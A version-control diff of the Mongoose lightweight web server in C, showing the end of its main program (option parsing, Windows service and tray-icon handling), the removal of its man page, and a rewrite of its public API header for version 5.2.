for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
|
||||
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
set_option(options, &argv[i][1], argv[i + 1]);
|
||||
}
|
||||
}
|
||||
|
||||
static void init_server_name(void) {
|
||||
snprintf(server_name, sizeof(server_name), "Mongoose web server v. %s",
|
||||
mg_version());
|
||||
}
|
||||
|
||||
static void *mongoose_callback(enum mg_event ev, struct mg_connection *conn) {
|
||||
if (ev == MG_EVENT_LOG) {
|
||||
printf("%s\n", mg_get_request_info(conn)->log_message);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void start_mongoose(int argc, char *argv[]) {
|
||||
char *options[MAX_OPTIONS];
|
||||
int i;
|
||||
|
||||
// Edit passwords file if -A option is specified
|
||||
if (argc > 1 && !strcmp(argv[1], "-A")) {
|
||||
if (argc != 6) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
exit(mg_modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
|
||||
EXIT_SUCCESS : EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Show usage if -h or --help options are specified
|
||||
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
|
||||
show_usage_and_exit();
|
||||
}
|
||||
|
||||
/* Update config based on command line arguments */
|
||||
process_command_line_arguments(argv, options);
|
||||
|
||||
/* Setup signal handler: quit on Ctrl-C */
|
||||
signal(SIGTERM, signal_handler);
|
||||
signal(SIGINT, signal_handler);
|
||||
|
||||
/* Start Mongoose */
|
||||
ctx = mg_start(&mongoose_callback, NULL, (const char **) options);
|
||||
for (i = 0; options[i] != NULL; i++) {
|
||||
free(options[i]);
|
||||
}
|
||||
|
||||
if (ctx == NULL) {
|
||||
die("%s", "Failed to start Mongoose.");
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
static SERVICE_STATUS ss;
|
||||
static SERVICE_STATUS_HANDLE hStatus;
|
||||
static const char *service_magic_argument = "--";
|
||||
|
||||
static void WINAPI ControlHandler(DWORD code) {
|
||||
if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) {
|
||||
ss.dwWin32ExitCode = 0;
|
||||
ss.dwCurrentState = SERVICE_STOPPED;
|
||||
}
|
||||
SetServiceStatus(hStatus, &ss);
|
||||
}
|
||||
|
||||
static void WINAPI ServiceMain(void) {
|
||||
ss.dwServiceType = SERVICE_WIN32;
|
||||
ss.dwCurrentState = SERVICE_RUNNING;
|
||||
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
|
||||
hStatus = RegisterServiceCtrlHandler(server_name, ControlHandler);
|
||||
SetServiceStatus(hStatus, &ss);
|
||||
|
||||
while (ss.dwCurrentState == SERVICE_RUNNING) {
|
||||
Sleep(1000);
|
||||
}
|
||||
mg_stop(ctx);
|
||||
|
||||
ss.dwCurrentState = SERVICE_STOPPED;
|
||||
ss.dwWin32ExitCode = (DWORD) -1;
|
||||
SetServiceStatus(hStatus, &ss);
|
||||
}
|
||||
|
||||
#define ID_TRAYICON 100
|
||||
#define ID_QUIT 101
|
||||
#define ID_EDIT_CONFIG 102
|
||||
#define ID_SEPARATOR 103
|
||||
#define ID_INSTALL_SERVICE 104
|
||||
#define ID_REMOVE_SERVICE 105
|
||||
#define ID_ICON 200
|
||||
static NOTIFYICONDATA TrayIcon;
|
||||
|
||||
static void edit_config_file(void) {
|
||||
const char **names, *value;
|
||||
FILE *fp;
|
||||
int i;
|
||||
char cmd[200];
|
||||
|
||||
// Create config file if it is not present yet
|
||||
if ((fp = fopen(config_file, "r")) != NULL) {
|
||||
fclose(fp);
|
||||
} else if ((fp = fopen(config_file, "a+")) != NULL) {
|
||||
fprintf(fp,
|
||||
"# Mongoose web server configuration file.\n"
|
||||
"# Lines starting with '#' and empty lines are ignored.\n"
|
||||
"# For detailed description of every option, visit\n"
|
||||
"# http://code.google.com/p/mongoose/wiki/MongooseManual\n\n");
|
||||
names = mg_get_valid_option_names();
|
||||
for (i = 0; names[i] != NULL; i += 3) {
|
||||
value = mg_get_option(ctx, names[i]);
|
||||
fprintf(fp, "# %s %s\n", names[i + 1], *value ? value : "<value>");
|
||||
}
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
snprintf(cmd, sizeof(cmd), "notepad.exe %s", config_file);
|
||||
WinExec(cmd, SW_SHOW);
|
||||
}
|
||||
|
||||
static void show_error(void) {
|
||||
char buf[256];
|
||||
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL, GetLastError(),
|
||||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
||||
buf, sizeof(buf), NULL);
|
||||
MessageBox(NULL, buf, "Error", MB_OK);
|
||||
}
|
||||
|
||||
static int manage_service(int action) {
|
||||
static const char *service_name = "Mongoose";
|
||||
SC_HANDLE hSCM = NULL, hService = NULL;
|
||||
SERVICE_DESCRIPTION descr = {server_name};
|
||||
char path[PATH_MAX + 20]; // Path to executable plus magic argument
|
||||
int success = 1;
|
||||
|
||||
if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ?
|
||||
GENERIC_WRITE : GENERIC_READ)) == NULL) {
|
||||
success = 0;
|
||||
show_error();
|
||||
} else if (action == ID_INSTALL_SERVICE) {
|
||||
GetModuleFileName(NULL, path, sizeof(path));
|
||||
strncat(path, " ", sizeof(path));
|
||||
strncat(path, service_magic_argument, sizeof(path));
|
||||
hService = CreateService(hSCM, service_name, service_name,
|
||||
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
|
||||
path, NULL, NULL, NULL, NULL, NULL);
|
||||
if (hService) {
|
||||
ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr);
|
||||
} else {
|
||||
show_error();
|
||||
}
|
||||
} else if (action == ID_REMOVE_SERVICE) {
|
||||
if ((hService = OpenService(hSCM, service_name, DELETE)) == NULL ||
|
||||
!DeleteService(hService)) {
|
||||
show_error();
|
||||
}
|
||||
} else if ((hService = OpenService(hSCM, service_name,
|
||||
SERVICE_QUERY_STATUS)) == NULL) {
|
||||
success = 0;
|
||||
}
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam,
|
||||
LPARAM lParam) {
|
||||
static SERVICE_TABLE_ENTRY service_table[] = {
|
||||
{server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
|
||||
{NULL, NULL}
|
||||
};
|
||||
int service_installed;
|
||||
char buf[200], *service_argv[] = {__argv[0], NULL};
|
||||
POINT pt;
|
||||
HMENU hMenu;
|
||||
|
||||
switch (msg) {
|
||||
case WM_CREATE:
|
||||
if (__argv[1] != NULL &&
|
||||
!strcmp(__argv[1], service_magic_argument)) {
|
||||
start_mongoose(1, service_argv);
|
||||
StartServiceCtrlDispatcher(service_table);
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
start_mongoose(__argc, __argv);
|
||||
}
|
||||
break;
|
||||
case WM_COMMAND:
|
||||
switch (LOWORD(wParam)) {
|
||||
case ID_QUIT:
|
||||
mg_stop(ctx);
|
||||
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
|
||||
PostQuitMessage(0);
|
||||
break;
|
||||
case ID_EDIT_CONFIG:
|
||||
edit_config_file();
|
||||
break;
|
||||
case ID_INSTALL_SERVICE:
|
||||
case ID_REMOVE_SERVICE:
|
||||
manage_service(LOWORD(wParam));
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case WM_USER:
|
||||
switch (lParam) {
|
||||
case WM_RBUTTONUP:
|
||||
case WM_LBUTTONUP:
|
||||
case WM_LBUTTONDBLCLK:
|
||||
hMenu = CreatePopupMenu();
|
||||
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name);
|
||||
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
|
||||
service_installed = manage_service(0);
|
||||
snprintf(buf, sizeof(buf), "NT service: %s installed",
|
||||
service_installed ? "" : "not");
|
||||
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf);
|
||||
AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0),
|
||||
ID_INSTALL_SERVICE, "Install service");
|
||||
AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0),
|
||||
ID_REMOVE_SERVICE, "Deinstall service");
|
||||
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
|
||||
AppendMenu(hMenu, MF_STRING, ID_EDIT_CONFIG, "Edit config file");
|
||||
AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit");
|
||||
GetCursorPos(&pt);
|
||||
SetForegroundWindow(hWnd);
|
||||
TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
|
||||
PostMessage(hWnd, WM_NULL, 0, 0);
|
||||
DestroyMenu(hMenu);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case WM_CLOSE:
|
||||
mg_stop(ctx);
|
||||
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
|
||||
PostQuitMessage(0);
|
||||
return 0; // We've just sent our own quit message, with proper hwnd.
|
||||
}
|
||||
|
||||
return DefWindowProc(hWnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) {
|
||||
WNDCLASS cls;
|
||||
HWND hWnd;
|
||||
MSG msg;
|
||||
|
||||
init_server_name();
|
||||
memset(&cls, 0, sizeof(cls));
|
||||
cls.lpfnWndProc = (WNDPROC) WindowProc;
|
||||
cls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
|
||||
cls.lpszClassName = server_name;
|
||||
|
||||
RegisterClass(&cls);
|
||||
hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW,
|
||||
0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
ShowWindow(hWnd, SW_HIDE);
|
||||
|
||||
TrayIcon.cbSize = sizeof(TrayIcon);
|
||||
TrayIcon.uID = ID_TRAYICON;
|
||||
TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
|
||||
TrayIcon.hIcon = LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(ID_ICON),
|
||||
IMAGE_ICON, 16, 16, 0);
|
||||
TrayIcon.hWnd = hWnd;
|
||||
snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name);
|
||||
TrayIcon.uCallbackMessage = WM_USER;
|
||||
Shell_NotifyIcon(NIM_ADD, &TrayIcon);
|
||||
|
||||
while (GetMessage(&msg, hWnd, 0, 0) > 0) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessage(&msg);
|
||||
}
|
||||
|
||||
return msg.wParam;
|
||||
}
|
||||
#else
|
||||
int main(int argc, char *argv[]) {
|
||||
init_server_name();
|
||||
start_mongoose(argc, argv);
|
||||
printf("%s started on port(s) %s with web root [%s]\n",
|
||||
server_name, mg_get_option(ctx, "listening_ports"),
|
||||
mg_get_option(ctx, "document_root"));
|
||||
while (exit_flag == 0) {
|
||||
sleep(1);
|
||||
}
|
||||
printf("Exiting on signal %d, waiting for all threads to finish...",
|
||||
exit_flag);
|
||||
fflush(stdout);
|
||||
mg_stop(ctx);
|
||||
printf("%s", " done.\n");
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
#endif /* _WIN32 */
|
||||
-174
@@ -1,174 +0,0 @@
|
||||
.\" Process this file with
|
||||
.\" groff -man -Tascii mongoose.1
|
||||
.\" $Id: mongoose.1,v 1.12 2008/11/29 15:32:42 drozd Exp $
|
||||
.Dd Aug 31, 2010
|
||||
.Dt mongoose 1
|
||||
.Sh NAME
|
||||
.Nm mongoose
|
||||
.Nd lightweight web server
|
||||
.Sh SYNOPSIS
|
||||
.Nm
|
||||
.Op Ar config_file
|
||||
.Op Ar OPTIONS
|
||||
.Nm
|
||||
.Fl A Ar htpasswd_file domain_name user_name password
|
||||
.Sh DESCRIPTION
|
||||
.Nm
|
||||
is small, fast and easy to use web server with CGI, SSL, MD5 authorization,
|
||||
and basic SSI support.
|
||||
.Pp
|
||||
.Nm
|
||||
does not detach from terminal, and uses current working directory
|
||||
as the web root, unless
|
||||
.Fl r
|
||||
option is specified.
|
||||
It is possible to specify multiple ports to listen on. For example, to make
|
||||
mongoose listen on HTTP port 80 and HTTPS port 443, one should start it as:
|
||||
.Nm
|
||||
.Fl s Ar cert.pem Fl p Ar 80,443s
|
||||
.Pp
|
||||
Unlike other web servers,
|
||||
.Nm
|
||||
does not require CGI scripts be put in a special directory. CGI scripts can
|
||||
be anywhere. CGI (and SSI) files are recognized by the file name pattern.
|
||||
.Nm
|
||||
uses shell-like glob patterns with the following syntax:
|
||||
.Bl -tag -compact -width indent
|
||||
.It **
|
||||
Matches everything
|
||||
.It *
|
||||
Matches everything but slash character, '/'
|
||||
.It ?
|
||||
Matches any character
|
||||
.It $
|
||||
Matches the end of the string
|
||||
.It |
|
||||
Matches if pattern on the left side or the right side matches. Pattern on the
|
||||
left side is matched first
|
||||
.El
|
||||
All other characters in the pattern match themselves.
|
||||
.Pp
|
||||
If no arguments are given,
|
||||
.Nm
|
||||
searches for a configuration file called "mongoose.conf" in the same directory
|
||||
where mongoose binary is located. Alternatively, a file name could be
|
||||
specified in the command line. Format of the configuration file is the same
|
||||
as for the command line options except that each option must be specified
|
||||
on a separate line, leading dashes for option names must be omitted.
|
||||
Lines beginning with '#' and empty lines are ignored.
|
||||
.Pp
|
||||
.Sh OPTIONS
|
||||
.Bl -tag -width indent
|
||||
.It Fl A Ar htpasswd_file domain_name user_name password
|
||||
Add/edit user's password in the passwords file. Deleting users can be done
|
||||
with any text editor. Functionality is similar to Apache's
|
||||
.Ic htdigest
|
||||
utility.
|
||||
.It Fl C Ar cgi_pattern
|
||||
All files that fully match cgi_pattern are treated as CGI.
|
||||
Default pattern allows CGI files be
|
||||
anywhere. To restrict CGIs to certain directory, use e.g. "-C /cgi-bin/**.cgi".
|
||||
Default: "**.cgi$|**.pl$|**.php$"
|
||||
.It Fl E Ar cgi_environment
|
||||
Extra environment variables to be passed to the CGI script in addition to
|
||||
standard ones. The list must be comma-separated list of X=Y pairs, like this:
|
||||
"VARIABLE1=VALUE1,VARIABLE2=VALUE2". Default: ""
|
||||
.It Fl G Ar put_delete_passwords_file
|
||||
PUT and DELETE passwords file. This must be specified if PUT or
|
||||
DELETE methods are used. Default: ""
|
||||
.It Fl I Ar cgi_interpreter
|
||||
Use
|
||||
.Ar cgi_interpreter
|
||||
as a CGI interpreter for all CGI scripts regardless script extension.
|
||||
Mongoose decides which interpreter to use by looking at
|
||||
the first line of a CGI script. Default: "".
|
||||
.It Fl M Ar max_request_size
|
||||
Maximum HTTP request size in bytes. Default: "16384"
|
||||
.It Fl P Ar protect_uri
|
||||
Comma separated list of URI=PATH pairs, specifying that given URIs
|
||||
must be protected with respected password files. Default: ""
|
||||
.It Fl R Ar authentication_domain
|
||||
Authorization realm. Default: "mydomain.com"
|
||||
.It Fl S Ar ssi_pattern
|
||||
All files that fully match ssi_pattern are treated as SSI.
|
||||
Unknown SSI directives are silently ignored. Currently, two SSI directives
|
||||
are supported, "include" and "exec". Default: "**.shtml$|**.shtm$"
|
||||
.It Fl a Ar access_log_file
|
||||
Access log file. Default: "", no logging is done.
|
||||
.It Fl d Ar enable_directory_listing
|
||||
Enable/disable directory listing. Default: "yes"
|
||||
.It Fl e Ar error_log_file
|
||||
Error log file. Default: "", no errors are logged.
|
||||
.It Fl g Ar global_passwords_file
|
||||
Location of a global passwords file. If set, per-directory .htpasswd files are
|
||||
ignored, and all requests must be authorised against that file. Default: ""
|
||||
.It Fl i Ar index_files
|
||||
Comma-separated list of files to be treated as directory index files.
|
||||
Default: "index.html,index.htm,index.cgi"
|
||||
.It Fl l Ar access_control_list
|
||||
Specify access control list (ACL). ACL is a comma separated list
|
||||
of IP subnets, each subnet is prepended by '-' or '+' sign. Plus means allow,
|
||||
minus means deny. If subnet mask is
|
||||
omitted, like "-1.2.3.4", then it means single IP address. Mask may vary
|
||||
from 0 to 32 inclusive. On each request, full list is traversed, and
|
||||
last match wins. Default setting is to allow all. For example, to allow only
|
||||
192.168/16 subnet to connect, run "mongoose -0.0.0.0/0,+192.168/16".
|
||||
Default: ""
|
||||
.It Fl m Ar extra_mime_types
|
||||
Extra mime types to recognize, in form
|
||||
"extension1=type1,extension2=type2,...". Extension must include dot.
|
||||
Example: "mongoose -m .cpp=plain/text,.java=plain/text". Default: ""
|
||||
.It Fl p Ar listening_ports
|
||||
Comma-separated list of ports to listen on. If the port is SSL, a letter 's'
|
||||
must be appeneded, for example, "-p 80,443s" will open port 80 and port 443,
|
||||
and connections on port 443 will be SSL-ed. It is possible to specify an
|
||||
IP address to bind to. In this case, an IP address and a colon must be
|
||||
prepended to the port number. For example, to bind to a loopback interface
|
||||
on port 80 and to all interfaces on HTTPS port 443, use
|
||||
"mongoose -p 127.0.0.1:80,443s". Default: "8080"
|
||||
.It Fl r Ar document_root
|
||||
Location of the WWW root directory. Default: "."
|
||||
.It Fl s Ar ssl_certificate
|
||||
Location of SSL certificate file. Default: ""
|
||||
.It Fl t Ar num_threads
|
||||
Number of worker threads to start. Default: "10"
|
||||
.It Fl u Ar run_as_user
|
||||
Switch to given user's credentials after startup. Default: ""
|
||||
.It Fl w Ar url_rewrite_patterns
|
||||
Comma-separated list of URL rewrites in the form of
|
||||
"pattern=substitution,..." If the "pattern" matches some prefix
|
||||
of the requested URL, then matched prefix gets substituted with "substitution".
|
||||
For example, "-w /config=/etc,**.doc|**.rtf=/path/to/cgi-bin/handle_doc.cgi"
|
||||
will serve all URLs that start with "/config" from the "/etc" directory, and
|
||||
call handle_doc.cgi script for .doc and .rtf file requests. If some pattern
|
||||
matches, no further matching/substitution is performed
|
||||
(first matching pattern wins). Use full paths in substitutions. Default: ""
|
||||
.It Fl x Ar hide_files_patterns
|
||||
A prefix pattern for the files to hide. Files that match the pattern will not
|
||||
show up in directory listing and return 404 Not Found if requested. Default: ""
|
||||
.El
|
||||
.Pp
|
||||
.Sh EMBEDDING
|
||||
.Nm
|
||||
was designed to be embeddable into C/C++ applications. Since the
|
||||
source code is contained in single C file, it is fairly easy to embed it
|
||||
and follow the updates. Please refer to http://code.google.com/p/mongoose
|
||||
for details.
|
||||
.Pp
|
||||
.Sh EXAMPLES
|
||||
.Bl -tag -width indent
|
||||
.It Nm Fl r Ar /var/www Fl s Ar /etc/cert.pem Fl p Ar 8080,8043s
|
||||
Start serving files from /var/www. Listen on port 8080 for HTTP, and 8043
|
||||
for HTTPS connections. Use /etc/cert.pem as SSL certificate file.
|
||||
.It Nm Fl l Ar -0.0.0.0/0,+10.0.0.0/8,+1.2.3.4
|
||||
Deny connections from everywhere, allow only IP address 1.2.3.4 and
|
||||
all IP addresses from 10.0.0.0/8 subnet to connect.
|
||||
.It Nm Fl w Ar **=/usr/bin/script.cgi
|
||||
Invoke /usr/bin/script.cgi for every incoming request, regardless of the URL.
|
||||
.El
|
||||
.Pp
|
||||
.Sh COPYRIGHT
|
||||
.Nm
|
||||
is licensed under the terms of the MIT license.
|
||||
.Sh AUTHOR
|
||||
.An Sergey Lyubka Aq valenok@gmail.com .
|
||||
+4211
-4400
File diff suppressed because it is too large.
Load diff
+90
-247
@@ -1,277 +1,120 @@
|
||||
// Copyright (c) 2004-2011 Sergey Lyubka
|
||||
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
|
||||
// Copyright (c) 2013-2014 Cesanta Software Limited
|
||||
// All rights reserved
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
// This library is dual-licensed: you can redistribute it and/or modify
|
||||
// it under the terms of the GNU General Public License version 2 as
|
||||
// published by the Free Software Foundation. For the terms of this
|
||||
// license, see <http://www.gnu.org/licenses/>.
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
// You are free to use this library under the terms of the GNU General
|
||||
// Public License, but WITHOUT ANY WARRANTY; without even the implied
|
||||
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
// See the GNU General Public License for more details.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
// Alternatively, you can license this library under a commercial
|
||||
// license, as set out in <http://cesanta.com/>.
|
||||
//
|
||||
// NOTE: Detailed API documentation is at http://cesanta.com/#docs
|
||||
|
||||
#ifndef MONGOOSE_HEADER_INCLUDED
|
||||
#define MONGOOSE_HEADER_INCLUDED
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stddef.h>
|
||||
#define MONGOOSE_VERSION "5.2"
|
||||
|
||||
#include <stdio.h> // required for FILE
|
||||
#include <stddef.h> // required for size_t
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif // __cplusplus
|
||||
|
||||
struct mg_context; // Handle for the HTTP service itself
|
||||
struct mg_connection; // Handle for the individual connection
|
||||
// This structure contains information about HTTP request.
|
||||
struct mg_connection {
|
||||
const char *request_method; // "GET", "POST", etc
|
||||
const char *uri; // URL-decoded URI
|
||||
const char *http_version; // E.g. "1.0", "1.1"
|
||||
const char *query_string; // URL part after '?', not including '?', or NULL
|
||||
|
||||
char remote_ip[48]; // Max IPv6 string length is 45 characters
|
||||
const char *local_ip; // Local IP address
|
||||
unsigned short remote_port; // Client's port
|
||||
unsigned short local_port; // Local port number
|
||||
|
||||
// This structure contains information about the HTTP request.
|
||||
struct mg_request_info {
|
||||
void *user_data; // User-defined pointer passed to mg_start()
|
||||
char *request_method; // "GET", "POST", etc
|
||||
char *uri; // URL-decoded URI
|
||||
char *http_version; // E.g. "1.0", "1.1"
|
||||
char *query_string; // URL part after '?' (not including '?') or NULL
|
||||
char *remote_user; // Authenticated user, or NULL if no auth used
|
||||
char *log_message; // Mongoose error log message, MG_EVENT_LOG only
|
||||
long remote_ip; // Client's IP address
|
||||
int remote_port; // Client's port
|
||||
int status_code; // HTTP reply status code, e.g. 200
|
||||
int is_ssl; // 1 if SSL-ed, 0 if not
|
||||
int num_headers; // Number of headers
|
||||
int num_headers; // Number of HTTP headers
|
||||
struct mg_header {
|
||||
char *name; // HTTP header name
|
||||
char *value; // HTTP header value
|
||||
} http_headers[64]; // Maximum 64 headers
|
||||
const char *name; // HTTP header name
|
||||
const char *value; // HTTP header value
|
||||
} http_headers[30];
|
||||
|
||||
char *content; // POST (or websocket message) data, or NULL
|
||||
size_t content_len; // content length
|
||||
|
||||
int is_websocket; // Connection is a websocket connection
|
||||
int status_code; // HTTP status code for HTTP error handler
|
||||
int wsbits; // First byte of the websocket frame
|
||||
void *server_param; // Parameter passed to mg_add_uri_handler()
|
||||
void *connection_param; // Placeholder for connection-specific data
|
||||
};
|
||||
|
||||
// Various events on which user-defined function is called by Mongoose.
|
||||
enum mg_event {
|
||||
MG_NEW_REQUEST, // New HTTP request has arrived from the client
|
||||
MG_HTTP_ERROR, // HTTP error must be returned to the client
|
||||
MG_EVENT_LOG, // Mongoose logs an event, request_info.log_message
|
||||
MG_INIT_SSL, // Mongoose initializes SSL. Instead of mg_connection *,
|
||||
// SSL context is passed to the callback function.
|
||||
MG_REQUEST_COMPLETE // Mongoose has finished handling the request
|
||||
};
|
||||
struct mg_server; // Opaque structure describing server instance
|
||||
typedef int (*mg_handler_t)(struct mg_connection *);
|
||||
|
||||
// Prototype for the user-defined function. Mongoose calls this function
|
||||
// on every MG_* event.
|
||||
//
|
||||
// Parameters:
|
||||
// event: which event has been triggered.
|
||||
// conn: opaque connection handler. Could be used to read, write data to the
|
||||
// client, etc. See functions below that have "mg_connection *" arg.
|
||||
//
|
||||
// Return:
|
||||
// If handler returns non-NULL, that means that handler has processed the
|
||||
// request by sending appropriate HTTP reply to the client. Mongoose treats
|
||||
// the request as served.
|
||||
// If handler returns NULL, that means that handler has not processed
|
||||
// the request. Handler must not send any data to the client in this case.
|
||||
// Mongoose proceeds with request handling as if nothing happened.
|
||||
typedef void * (*mg_callback_t)(enum mg_event event,
|
||||
struct mg_connection *conn);
|
||||
|
||||
|
||||
// Start web server.
|
||||
//
|
||||
// Parameters:
|
||||
// callback: user defined event handling function or NULL.
|
||||
// options: NULL terminated list of option_name, option_value pairs that
|
||||
// specify Mongoose configuration parameters.
|
||||
//
|
||||
// Side-effects: on UNIX, ignores SIGCHLD and SIGPIPE signals. If custom
|
||||
// processing is required for these, signal handlers must be set up
|
||||
// after calling mg_start().
|
||||
//
|
||||
//
|
||||
// Example:
|
||||
// const char *options[] = {
|
||||
// "document_root", "/var/www",
|
||||
// "listening_ports", "80,443s",
|
||||
// NULL
|
||||
// };
|
||||
// struct mg_context *ctx = mg_start(&my_func, NULL, options);
|
||||
//
|
||||
// Please refer to http://code.google.com/p/mongoose/wiki/MongooseManual
|
||||
// for the list of valid option and their possible values.
|
||||
//
|
||||
// Return:
|
||||
// web server context, or NULL on error.
|
||||
struct mg_context *mg_start(mg_callback_t callback, void *user_data,
|
||||
const char **options);
|
||||
|
||||
|
||||
// Stop the web server.
|
||||
//
|
||||
// Must be called last, when an application wants to stop the web server and
|
||||
// release all associated resources. This function blocks until all Mongoose
|
||||
// threads are stopped. Context pointer becomes invalid.
|
||||
void mg_stop(struct mg_context *);
|
||||
|
||||
|
||||
// Get the value of particular configuration parameter.
|
||||
// The value returned is read-only. Mongoose does not allow changing
|
||||
// configuration at run time.
|
||||
// If given parameter name is not valid, NULL is returned. For valid
|
||||
// names, return value is guaranteed to be non-NULL. If parameter is not
|
||||
// set, zero-length string is returned.
|
||||
const char *mg_get_option(const struct mg_context *ctx, const char *name);
|
||||
|
||||
|
||||
// Return array of strings that represent valid configuration options.
|
||||
// For each option, a short name, long name, and default value is returned.
|
||||
// Array is NULL terminated.
|
||||
// Server management functions
|
||||
struct mg_server *mg_create_server(void *server_param);
|
||||
void mg_destroy_server(struct mg_server **);
|
||||
const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
|
||||
unsigned int mg_poll_server(struct mg_server *, int milliseconds);
|
||||
void mg_set_request_handler(struct mg_server *, mg_handler_t);
|
||||
void mg_set_http_error_handler(struct mg_server *, mg_handler_t);
|
||||
void mg_set_auth_handler(struct mg_server *, mg_handler_t);
|
||||
const char **mg_get_valid_option_names(void);
|
||||
const char *mg_get_option(const struct mg_server *server, const char *name);
|
||||
void mg_set_listening_socket(struct mg_server *, int sock);
|
||||
int mg_get_listening_socket(struct mg_server *);
|
||||
void mg_iterate_over_connections(struct mg_server *, mg_handler_t, void *);
|
||||
|
||||
// Connection management functions
|
||||
void mg_send_status(struct mg_connection *, int status_code);
|
||||
void mg_send_header(struct mg_connection *, const char *name, const char *val);
|
||||
void mg_send_data(struct mg_connection *, const void *data, int data_len);
|
||||
void mg_printf_data(struct mg_connection *, const char *format, ...);
|
||||
|
||||
// Add, edit or delete the entry in the passwords file.
|
||||
//
|
||||
// This function allows an application to manipulate .htpasswd files on the
|
||||
// fly by adding, deleting and changing user records. This is one of the
|
||||
// several ways of implementing authentication on the server side. For another,
|
||||
// cookie-based way please refer to the examples/chat.c in the source tree.
|
||||
//
|
||||
// If password is not NULL, entry is added (or modified if already exists).
|
||||
// If password is NULL, entry is deleted.
|
||||
//
|
||||
// Return:
|
||||
// 1 on success, 0 on error.
|
||||
int mg_modify_passwords_file(const char *passwords_file_name,
|
||||
const char *domain,
|
||||
const char *user,
|
||||
const char *password);
|
||||
int mg_websocket_write(struct mg_connection *, int opcode,
|
||||
const char *data, size_t data_len);
|
||||
|
||||
// Deprecated in favor of mg_send_* interface
|
||||
int mg_write(struct mg_connection *, const void *buf, int len);
|
||||
int mg_printf(struct mg_connection *conn, const char *fmt, ...);
|
||||
|
||||
// Return mg_request_info structure associated with the request.
|
||||
// Always succeeds.
|
||||
const struct mg_request_info *mg_get_request_info(struct mg_connection *);
|
||||
|
||||
|
||||
// Send data to the client.
|
||||
int mg_write(struct mg_connection *, const void *buf, size_t len);
|
||||
|
||||
|
||||
// Send data to the browser using printf() semantics.
|
||||
//
|
||||
// Works exactly like mg_write(), but allows to do message formatting.
|
||||
// Note that mg_printf() uses internal buffer of size IO_BUF_SIZE
|
||||
// (8 Kb by default) as temporary message storage for formatting. Do not
|
||||
